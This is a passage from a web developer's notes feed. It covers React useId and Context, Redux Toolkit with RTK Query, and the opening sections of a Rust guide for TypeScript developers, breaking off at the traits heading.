  | { variant: &apos;button&apos;; onClick: () =&amp;gt; void }

const Button = (props: ButtonProps) =&amp;gt; {
  if (props.variant === &apos;link&apos;) {
    return &amp;lt;a href={props.href}&amp;gt;Click me&amp;lt;/a&amp;gt;
  }
  return &amp;lt;button onClick={props.onClick}&amp;gt;Click me&amp;lt;/button&amp;gt;
}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>react</category><category>typescript</category><author>Zander Martineau</author></item><item><title>useId</title><link>https://zander.wtf/notes/react-useid/</link><guid isPermaLink="true">https://zander.wtf/notes/react-useid/</guid><description>useId is a React Hook for generating unique IDs that can be passed to accessibility attributes. useId does not create an ID that is safe to use in CSS…</description><pubDate>Tue, 20 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;code&gt;useId&lt;/code&gt; is a React Hook for generating unique IDs that can be passed to accessibility attributes.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import { useId } from &apos;react&apos;

const PasswordField = () =&amp;gt; {
  const passwordHintId = useId()
  return (
    &amp;lt;&amp;gt;
      &amp;lt;input type=&quot;password&quot; aria-describedby={passwordHintId} /&amp;gt;
      &amp;lt;p id={passwordHintId}&amp;gt;Password must be at least 8 characters&amp;lt;/p&amp;gt;
    &amp;lt;/&amp;gt;
  )
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;useId&lt;/code&gt; does not create an ID that is safe to use in CSS selectors, if you need that you must escape it first:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const originalId = useId()
const id = useMemo(() =&amp;gt; CSS.escape(originalId), [originalId])

// this also works
const id = useMemo(() =&amp;gt; originalId.replaceAll(&apos;:&apos;, &apos;-&apos;), [originalId])
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>react</category><author>Zander Martineau</author></item><item><title>React Context</title><link>https://zander.wtf/notes/react-usecontext/</link><guid isPermaLink="true">https://zander.wtf/notes/react-usecontext/</guid><description>TS/React docs: https://github.com/typescript-cheatsheets/react-typescript-cheatsheet#context or this, but it&apos;s not as good because it doesn&apos;t provide the…</description><pubDate>Tue, 20 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;ul&gt;
&lt;li&gt;TS/React docs: https://github.com/typescript-cheatsheets/react-typescript-cheatsheet#context&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;import { ReactNode, createContext, useContext } from &apos;react&apos;

type SomethingContextData = any[]

interface SomethingContextType {
  data: SomethingContextData
}

const SomethingContext = createContext&amp;lt;SomethingContextType | null&amp;gt;(null)

interface ProviderProps {
  children: ReactNode
}

export const SomethingProvider = ({ children }: ProviderProps) =&amp;gt; {
  const [data, setData] = useState&amp;lt;SomethingContextData&amp;gt;([])
  return (
    &amp;lt;SomethingContext.Provider value={{ data }}&amp;gt;{children}&amp;lt;/SomethingContext.Provider&amp;gt;
  )
}

export const useSomething = () =&amp;gt; {
  const context = useContext(SomethingContext)

  if (!context) {
    throw new Error(&apos;useSomething has to be used within &amp;lt;SomeContext.Provider&amp;gt;&apos;)
  }

  return context
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;or this, but it&apos;s not as good because it doesn&apos;t provide the type safety that the above does:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;export interface CurrentUserContextType {
  username: string
}

export const CurrentUserContext = createContext&amp;lt;CurrentUserContextType&amp;gt;(
  {} as CurrentUserContextType
)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Example&lt;/h3&gt;
&lt;p&gt;From &lt;a href=&quot;https://kentcdodds.com/blog/how-to-use-react-context-effectively&quot;&gt;this article&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import * as React from &apos;react&apos;

const CountContext = React.createContext()

function countReducer(state, action) {
  switch (action.type) {
    case &apos;increment&apos;: {
      return { count: state.count + 1 }
    }
    case &apos;decrement&apos;: {
      return { count: state.count - 1 }
    }
    default: {
      throw new Error(`Unhandled action type: ${action.type}`)
    }
  }
}

function CountProvider({ children }) {
  const [state, dispatch] = React.useReducer(countReducer, { count: 0 })
  // NOTE: you *might* need to memoize this value
  // Learn more in http://kcd.im/optimize-context
  const value = { state, dispatch }
  return &amp;lt;CountContext.Provider value={value}&amp;gt;{children}&amp;lt;/CountContext.Provider&amp;gt;
}

function useCount() {
  const context = React.useContext(CountContext)
  if (context === undefined) {
    throw new Error(&apos;useCount must be used within a CountProvider&apos;)
  }
  return context
}

export { CountProvider, useCount }
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Usage&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;import React, { useContext } from &apos;react&apos;

const MyComponent = () =&amp;gt; {
  const { count } = useCount()

  return &amp;lt;div&amp;gt;Count: {count}&amp;lt;/div&amp;gt;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;CountProvider&amp;gt;
  &amp;lt;MyComponent /&amp;gt;
&amp;lt;/CountProvider&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Child as a function&lt;/h3&gt;
&lt;p&gt;We can change the &lt;code&gt;CountProvider&lt;/code&gt; component&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function CountProvider({ children }) {
  const [state, dispatch] = React.useReducer(countReducer, { count: 0 })
  const value = { state, dispatch }
  return (
    &amp;lt;CountContext.Provider value={value}&amp;gt;
      {children(value)}
    &amp;lt;/CountContext.Provider&amp;gt;
  )
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And use it like so:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;CountProvider&amp;gt;{({ count }) =&amp;gt; &amp;lt;div&amp;gt;Count: {count}&amp;lt;/div&amp;gt;}&amp;lt;/CountProvider&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>react</category><author>Zander Martineau</author></item><item><title>Redux / Redux Toolkit</title><link>https://zander.wtf/notes/redux/</link><guid isPermaLink="true">https://zander.wtf/notes/redux/</guid><description>Redux Toolkit (RTK) Redux Toolkit is the official, recommended way to write Redux logic. It simplifies store setup, reduces boilerplate, and includes…</description><pubDate>Tue, 20 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Redux Toolkit (RTK)&lt;/h2&gt;
&lt;p&gt;Redux Toolkit is the official, recommended way to write Redux logic. It simplifies store setup, reduces boilerplate, and includes useful utilities.&lt;/p&gt;
&lt;h3&gt;Store setup&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// store.ts
import { configureStore } from &apos;@reduxjs/toolkit&apos;
import counterReducer from &apos;./features/counter/counterSlice&apos;

export const store = configureStore({
  reducer: {
    counter: counterReducer,
  },
})

export type RootState = ReturnType&amp;lt;typeof store.getState&amp;gt;
export type AppDispatch = typeof store.dispatch
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Creating a slice&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// features/counter/counterSlice.ts
import { createSlice, PayloadAction } from &apos;@reduxjs/toolkit&apos;

interface CounterState {
  value: number
}

const initialState: CounterState = {
  value: 0,
}

export const counterSlice = createSlice({
  name: &apos;counter&apos;,
  initialState,
  reducers: {
    increment: (state) =&amp;gt; {
      state.value += 1
    },
    decrement: (state) =&amp;gt; {
      state.value -= 1
    },
    incrementByAmount: (state, action: PayloadAction&amp;lt;number&amp;gt;) =&amp;gt; {
      state.value += action.payload
    },
  },
})

export const { increment, decrement, incrementByAmount } = counterSlice.actions
export default counterSlice.reducer
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Typed hooks&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// hooks.ts
import { useDispatch, useSelector, TypedUseSelectorHook } from &apos;react-redux&apos;
import type { RootState, AppDispatch } from &apos;./store&apos;

export const useAppDispatch = () =&amp;gt; useDispatch&amp;lt;AppDispatch&amp;gt;()
export const useAppSelector: TypedUseSelectorHook&amp;lt;RootState&amp;gt; = useSelector
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Using in components&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;import { useAppSelector, useAppDispatch } from &apos;../../hooks&apos;
import { increment, decrement, incrementByAmount } from &apos;./counterSlice&apos;

export const Counter = () =&amp;gt; {
  const count = useAppSelector((state) =&amp;gt; state.counter.value)
  const dispatch = useAppDispatch()

  return (
    &amp;lt;div&amp;gt;
      &amp;lt;button onClick={() =&amp;gt; dispatch(decrement())}&amp;gt;-&amp;lt;/button&amp;gt;
      &amp;lt;span&amp;gt;{count}&amp;lt;/span&amp;gt;
      &amp;lt;button onClick={() =&amp;gt; dispatch(increment())}&amp;gt;+&amp;lt;/button&amp;gt;
      &amp;lt;button onClick={() =&amp;gt; dispatch(incrementByAmount(5))}&amp;gt;+5&amp;lt;/button&amp;gt;
    &amp;lt;/div&amp;gt;
  )
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Provider setup&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// main.tsx or App.tsx
import { Provider } from &apos;react-redux&apos;
import { store } from &apos;./store&apos;

const App = () =&amp;gt; (
  &amp;lt;Provider store={store}&amp;gt;
    &amp;lt;YourApp /&amp;gt;
  &amp;lt;/Provider&amp;gt;
)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Async logic with createAsyncThunk&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;import { createSlice, createAsyncThunk } from &apos;@reduxjs/toolkit&apos;

interface User {
  id: string
  name: string
}

interface UsersState {
  entities: User[]
  loading: &apos;idle&apos; | &apos;pending&apos; | &apos;succeeded&apos; | &apos;failed&apos;
  error: string | null
}

const initialState: UsersState = {
  entities: [],
  loading: &apos;idle&apos;,
  error: null,
}

export const fetchUsers = createAsyncThunk(&apos;users/fetchAll&apos;, async () =&amp;gt; {
  const response = await fetch(&apos;/api/users&apos;)
  return response.json() as Promise&amp;lt;User[]&amp;gt;
})

const usersSlice = createSlice({
  name: &apos;users&apos;,
  initialState,
  reducers: {},
  extraReducers: (builder) =&amp;gt; {
    builder
      .addCase(fetchUsers.pending, (state) =&amp;gt; {
        state.loading = &apos;pending&apos;
      })
      .addCase(fetchUsers.fulfilled, (state, action) =&amp;gt; {
        state.loading = &apos;succeeded&apos;
        state.entities = action.payload
      })
      .addCase(fetchUsers.rejected, (state, action) =&amp;gt; {
        state.loading = &apos;failed&apos;
        state.error = action.error.message ?? &apos;Something went wrong&apos;
      })
  },
})

export default usersSlice.reducer
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;RTK Query&lt;/h2&gt;
&lt;p&gt;For data fetching, RTK Query is built into Redux Toolkit and handles caching, loading states, and more.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// services/api.ts
import { createApi, fetchBaseQuery } from &apos;@reduxjs/toolkit/query/react&apos;

interface Post {
  id: number
  title: string
  body: string
}

export const api = createApi({
  reducerPath: &apos;api&apos;,
  baseQuery: fetchBaseQuery({ baseUrl: &apos;/api&apos; }),
  tagTypes: [&apos;Post&apos;],
  endpoints: (builder) =&amp;gt; ({
    getPosts: builder.query&amp;lt;Post[], void&amp;gt;({
      query: () =&amp;gt; &apos;posts&apos;,
      providesTags: [&apos;Post&apos;],
    }),
    getPost: builder.query&amp;lt;Post, number&amp;gt;({
      query: (id) =&amp;gt; `posts/${id}`,
    }),
    addPost: builder.mutation&amp;lt;Post, Partial&amp;lt;Post&amp;gt;&amp;gt;({
      query: (body) =&amp;gt; ({
        url: &apos;posts&apos;,
        method: &apos;POST&apos;,
        body,
      }),
      invalidatesTags: [&apos;Post&apos;],
    }),
  }),
})

export const { useGetPostsQuery, useGetPostQuery, useAddPostMutation } = api
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Add the API reducer and middleware to your store:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import { configureStore } from &apos;@reduxjs/toolkit&apos;
import { api } from &apos;./services/api&apos;

export const store = configureStore({
  reducer: {
    [api.reducerPath]: api.reducer,
  },
  middleware: (getDefaultMiddleware) =&amp;gt;
    getDefaultMiddleware().concat(api.middleware),
})
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Use in components:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import { useGetPostsQuery, useAddPostMutation } from &apos;./services/api&apos;

const Posts = () =&amp;gt; {
  const { data: posts, isLoading, error } = useGetPostsQuery()
  const [addPost, { isLoading: isAdding }] = useAddPostMutation()

  if (isLoading) return &amp;lt;div&amp;gt;Loading...&amp;lt;/div&amp;gt;
  if (error) return &amp;lt;div&amp;gt;Error loading posts&amp;lt;/div&amp;gt;

  return (
  &amp;lt;div&amp;gt;
      &amp;lt;button onClick={() =&amp;gt; addPost({ title: &apos;New Post&apos; })} disabled={isAdding}&amp;gt;
        Add Post
      &amp;lt;/button&amp;gt;
      {posts?.map((post) =&amp;gt; (
        &amp;lt;div key={post.id}&amp;gt;{post.title}&amp;lt;/div&amp;gt;
      ))}
  &amp;lt;/div&amp;gt;
)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Selectors&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// Inline selector
const count = useAppSelector((state) =&amp;gt; state.counter.value)

// Reusable selector
export const selectCount = (state: RootState) =&amp;gt; state.counter.value

// With createSelector for memoization
import { createSelector } from &apos;@reduxjs/toolkit&apos;

const selectUsers = (state: RootState) =&amp;gt; state.users.entities
const selectActiveFilter = (state: RootState) =&amp;gt; state.filters.active

export const selectActiveUsers = createSelector(
  [selectUsers, selectActiveFilter],
  (users, isActive) =&amp;gt; users.filter((user) =&amp;gt; user.active === isActive)
)
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>react</category><author>Zander Martineau</author></item><item><title>Rust for TypeScript developers</title><link>https://zander.wtf/notes/rust-for-ts-devs/</link><guid isPermaLink="true">https://zander.wtf/notes/rust-for-ts-devs/</guid><description>A guide to Rust for developers coming from TypeScript/JavaScript. Key differences from TypeScript | Concept | TypeScript | Rust |…</description><pubDate>Tue, 20 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;A guide to Rust for developers coming from TypeScript/JavaScript.&lt;/p&gt;
&lt;h2&gt;Key differences from TypeScript&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Concept&lt;/th&gt;
&lt;th&gt;TypeScript&lt;/th&gt;
&lt;th&gt;Rust&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Typing&lt;/td&gt;
&lt;td&gt;Static, structural&lt;/td&gt;
&lt;td&gt;Static, nominal + ownership&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Execution&lt;/td&gt;
&lt;td&gt;Interpreted (via JS)&lt;/td&gt;
&lt;td&gt;Compiled to native binary&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Memory&lt;/td&gt;
&lt;td&gt;Garbage collected&lt;/td&gt;
&lt;td&gt;Ownership system (no GC)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Null&lt;/td&gt;
&lt;td&gt;&lt;code&gt;null&lt;/code&gt; / &lt;code&gt;undefined&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Option&amp;lt;T&amp;gt;&lt;/code&gt; (no null)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Errors&lt;/td&gt;
&lt;td&gt;Exceptions&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Result&amp;lt;T, E&amp;gt;&lt;/code&gt; (no exceptions)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Package manager&lt;/td&gt;
&lt;td&gt;npm/yarn/pnpm&lt;/td&gt;
&lt;td&gt;Cargo&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Concurrency&lt;/td&gt;
&lt;td&gt;Single-threaded + async&lt;/td&gt;
&lt;td&gt;Multi-threaded + async&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Variables and constants&lt;/h2&gt;
&lt;h3&gt;TypeScript&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;const name: string = &quot;Alice&quot;
let age: number = 30
const isActive = true
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Rust&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// Immutable by default (like const)
let name: &amp;amp;str = &quot;Alice&quot;;
let name = &quot;Alice&quot;;  // Type inference

// Mutable (like let)
let mut age = 30;
age = 31;  // OK

// Constants (compile-time, SCREAMING_CASE)
const MAX_SIZE: usize = 100;

// Static (like const but with fixed memory address)
static VERSION: &amp;amp;str = &quot;1.0.0&quot;;

// Shadowing (redeclare with same name)
let x = 5;
let x = x + 1;  // New variable, shadows previous
let x = &quot;now a string&quot;;  // Can change type!
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Basic types&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;TypeScript&lt;/th&gt;
&lt;th&gt;Rust&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;string&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;String&lt;/code&gt; (owned) or &lt;code&gt;&amp;amp;str&lt;/code&gt; (borrowed)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;number&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;i32&lt;/code&gt;, &lt;code&gt;i64&lt;/code&gt;, &lt;code&gt;f32&lt;/code&gt;, &lt;code&gt;f64&lt;/code&gt;, &lt;code&gt;usize&lt;/code&gt;, etc.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;boolean&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;bool&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;any&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;No equivalent (use enums/generics)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;null&lt;/code&gt; / &lt;code&gt;undefined&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Option&amp;lt;T&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Array&amp;lt;T&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Vec&amp;lt;T&amp;gt;&lt;/code&gt; (heap) or &lt;code&gt;[T; N]&lt;/code&gt; (stack)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Record&amp;lt;K, V&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;HashMap&amp;lt;K, V&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Set&amp;lt;T&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;HashSet&amp;lt;T&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;[T, U]&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;(T, U)&lt;/code&gt; tuple&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Numeric types&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// Signed integers
let a: i8 = 127;
let b: i16 = 32_767;
let c: i32 = 2_147_483_647;  // Default integer type
let d: i64 = 9_223_372_036_854_775_807;
let e: i128 = 170_141_183_460_469_231_731_687_303_715_884_105_727;

// Unsigned integers
let a: u8 = 255;
let b: u32 = 4_294_967_295;
let c: usize = 100;  // Pointer-sized (for indexing)

// Floating point
let f: f32 = 3.14;
let g: f64 = 3.141592653589793;  // Default float type

// Underscores for readability
let million = 1_000_000;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Strings&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// &amp;amp;str - string slice (borrowed, immutable, on stack or in binary)
let s: &amp;amp;str = &quot;hello&quot;;  // String literal

// String - owned, heap-allocated, growable
let mut s = String::from(&quot;hello&quot;);
s.push_str(&quot;, world!&quot;);

// Converting
let owned: String = &quot;hello&quot;.to_string();
let owned: String = String::from(&quot;hello&quot;);
let slice: &amp;amp;str = &amp;amp;owned;  // Borrow as slice

// String formatting
let name = &quot;Alice&quot;;
let greeting = format!(&quot;Hello, {}!&quot;, name);
println!(&quot;Hello, {}!&quot;, name);  // Print to stdout
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Functions&lt;/h2&gt;
&lt;h3&gt;TypeScript&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;function greet(name: string): string {
    return `Hello, ${name}!`
}

const add = (a: number, b: number): number =&amp;gt; a + b

function log(message: string, level: string = &quot;INFO&quot;): void {
    console.log(`[${level}] ${message}`)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Rust&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// Basic function
fn greet(name: &amp;amp;str) -&amp;gt; String {
    format!(&quot;Hello, {}!&quot;, name)
}

// No return keyword for last expression (no semicolon!)
fn add(a: i32, b: i32) -&amp;gt; i32 {
    a + b  // No semicolon = return value
}

// Explicit return
fn add(a: i32, b: i32) -&amp;gt; i32 {
    return a + b;  // Semicolon with return keyword
}

// No default parameters - use Option or builder pattern
fn log(message: &amp;amp;str, level: Option&amp;lt;&amp;amp;str&amp;gt;) {
    let level = level.unwrap_or(&quot;INFO&quot;);
    println!(&quot;[{}] {}&quot;, level, message);
}
log(&quot;Hello&quot;, None);
log(&quot;Hello&quot;, Some(&quot;DEBUG&quot;));

// Closures (like arrow functions)
let add = |a: i32, b: i32| a + b;
let add = |a, b| a + b;  // Type inference in context

// Multi-line closure
let process = |x: i32| {
    let y = x * 2;
    y + 1
};
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Ownership and borrowing&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;This is THE key concept in Rust.&lt;/strong&gt; There&apos;s no garbage collector - instead, Rust uses ownership rules enforced at compile time.&lt;/p&gt;
&lt;h3&gt;The rules&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Each value has exactly one owner&lt;/li&gt;
&lt;li&gt;When the owner goes out of scope, the value is dropped&lt;/li&gt;
&lt;li&gt;You can borrow references: &lt;code&gt;&amp;amp;T&lt;/code&gt; (immutable) or &lt;code&gt;&amp;amp;mut T&lt;/code&gt; (mutable)&lt;/li&gt;
&lt;li&gt;You can have many &lt;code&gt;&amp;amp;T&lt;/code&gt; OR one &lt;code&gt;&amp;amp;mut T&lt;/code&gt;, never both&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;TypeScript&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;function process(data: string[]): void {
    console.log(data)
}

const arr = [&quot;a&quot;, &quot;b&quot;, &quot;c&quot;]
process(arr)
console.log(arr)  // Still accessible - GC handles memory
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Rust&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;fn process(data: Vec&amp;lt;String&amp;gt;) {
    println!(&quot;{:?}&quot;, data);
}  // data is dropped here

let arr = vec![&quot;a&quot;.to_string(), &quot;b&quot;.to_string()];
process(arr);  // Ownership MOVED to function
// println!(&quot;{:?}&quot;, arr);  // ERROR! arr no longer valid

// Solution 1: Clone (copy the data)
let arr = vec![&quot;a&quot;.to_string(), &quot;b&quot;.to_string()];
process(arr.clone());  // Clone is moved
println!(&quot;{:?}&quot;, arr);  // Original still valid

// Solution 2: Borrow (pass a reference)
fn process(data: &amp;amp;Vec&amp;lt;String&amp;gt;) {
    println!(&quot;{:?}&quot;, data);
}

let arr = vec![&quot;a&quot;.to_string(), &quot;b&quot;.to_string()];
process(&amp;amp;arr);  // Borrow
println!(&quot;{:?}&quot;, arr);  // Still valid!

// Solution 3: Mutable borrow
fn add_item(data: &amp;amp;mut Vec&amp;lt;String&amp;gt;) {
    data.push(&quot;c&quot;.to_string());
}

let mut arr = vec![&quot;a&quot;.to_string(), &quot;b&quot;.to_string()];
add_item(&amp;amp;mut arr);
println!(&quot;{:?}&quot;, arr);  // [&quot;a&quot;, &quot;b&quot;, &quot;c&quot;]
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Structs&lt;/h2&gt;
&lt;h3&gt;TypeScript&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;interface User {
    id: number
    name: string
    email?: string
}

class UserService {
    private users: User[] = []

    addUser(user: User): void {
        this.users.push(user)
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Rust&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// Struct (like interface)
struct User {
    id: u32,
    name: String,
    email: Option&amp;lt;String&amp;gt;,  // Optional field
}

// Implementation block (like class methods)
impl User {
    // Associated function (like static method)
    fn new(id: u32, name: String) -&amp;gt; Self {
        Self {
            id,
            name,
            email: None,
        }
    }

    // Method (takes &amp;amp;self or &amp;amp;mut self)
    fn greet(&amp;amp;self) -&amp;gt; String {
        format!(&quot;Hello, {}!&quot;, self.name)
    }

    fn set_email(&amp;amp;mut self, email: String) {
        self.email = Some(email);
    }
}

// Usage
let mut user = User::new(1, &quot;Alice&quot;.to_string());
user.set_email(&quot;alice@example.com&quot;.to_string());
println!(&quot;{}&quot;, user.greet());

// Shorthand initialization
let name = &quot;Alice&quot;.to_string();
let user = User { id: 1, name, email: None };

// Struct update syntax (like spread)
let user2 = User { id: 2, ..user };  // Note: moves non-Copy fields!
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Tuple structs and unit structs&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// Tuple struct
struct Point(f64, f64);
let p = Point(3.0, 4.0);
println!(&quot;{}, {}&quot;, p.0, p.1);

// Unit struct (no fields)
struct Marker;

// Newtype pattern (wrapper for type safety)
struct UserId(u32);
struct PostId(u32);

fn get_user(id: UserId) { }
// get_user(PostId(1));  // ERROR! Type mismatch
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Enums (sum types)&lt;/h2&gt;
&lt;p&gt;Rust enums are much more powerful than TypeScript enums - they&apos;re sum types that can hold data.&lt;/p&gt;
&lt;h3&gt;TypeScript&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;type Result&amp;lt;T, E&amp;gt; =
    | { ok: true; value: T }
    | { ok: false; error: E }

type Status = &quot;pending&quot; | &quot;active&quot; | &quot;inactive&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Rust&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// Simple enum
enum Status {
    Pending,
    Active,
    Inactive,
}

let status = Status::Active;

// Enum with data (like discriminated unions)
enum Message {
    Quit,
    Move { x: i32, y: i32 },
    Write(String),
    ChangeColor(u8, u8, u8),
}

let msg = Message::Move { x: 10, y: 20 };
let msg = Message::Write(&quot;hello&quot;.to_string());

// Pattern matching (like switch but exhaustive)
match msg {
    Message::Quit =&amp;gt; println!(&quot;Quit&quot;),
    Message::Move { x, y } =&amp;gt; println!(&quot;Move to {}, {}&quot;, x, y),
    Message::Write(text) =&amp;gt; println!(&quot;Text: {}&quot;, text),
    Message::ChangeColor(r, g, b) =&amp;gt; println!(&quot;Color: {}, {}, {}&quot;, r, g, b),
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Option and Result (built-in)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// Option&amp;lt;T&amp;gt; - replaces null/undefined
enum Option&amp;lt;T&amp;gt; {
    Some(T),
    None,
}

let name: Option&amp;lt;String&amp;gt; = Some(&quot;Alice&quot;.to_string());
let missing: Option&amp;lt;String&amp;gt; = None;

// Handling Option
match name {
    Some(n) =&amp;gt; println!(&quot;Name: {}&quot;, n),
    None =&amp;gt; println!(&quot;No name&quot;),
}

// Shortcuts
let n = name.unwrap();              // Panics if None!
let n = name.unwrap_or(&quot;default&quot;.to_string());
let n = name.unwrap_or_else(|| compute_default());
let n = name.expect(&quot;Name required&quot;);  // Panic with message

// if let (when you only care about one variant)
if let Some(n) = name {
    println!(&quot;Name: {}&quot;, n);
}

// Result&amp;lt;T, E&amp;gt; - for operations that can fail
enum Result&amp;lt;T, E&amp;gt; {
    Ok(T),
    Err(E),
}

fn divide(a: f64, b: f64) -&amp;gt; Result&amp;lt;f64, String&amp;gt; {
    if b == 0.0 {
        Err(&quot;Division by zero&quot;.to_string())
    } else {
        Ok(a / b)
    }
}

// Handling Result
match divide(10.0, 2.0) {
    Ok(result) =&amp;gt; println!(&quot;Result: {}&quot;, result),
    Err(e) =&amp;gt; println!(&quot;Error: {}&quot;, e),
}

// The ? operator (propagate errors, like throw)
fn calculate() -&amp;gt; Result&amp;lt;f64, String&amp;gt; {
    let a = divide(10.0, 2.0)?;  // Returns Err early if error
    let b = divide(a, 2.0)?;
    Ok(b)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Traits (interfaces)&lt;/h2&gt;
&lt;h3&gt;TypeScript&lt;/h3&gt;
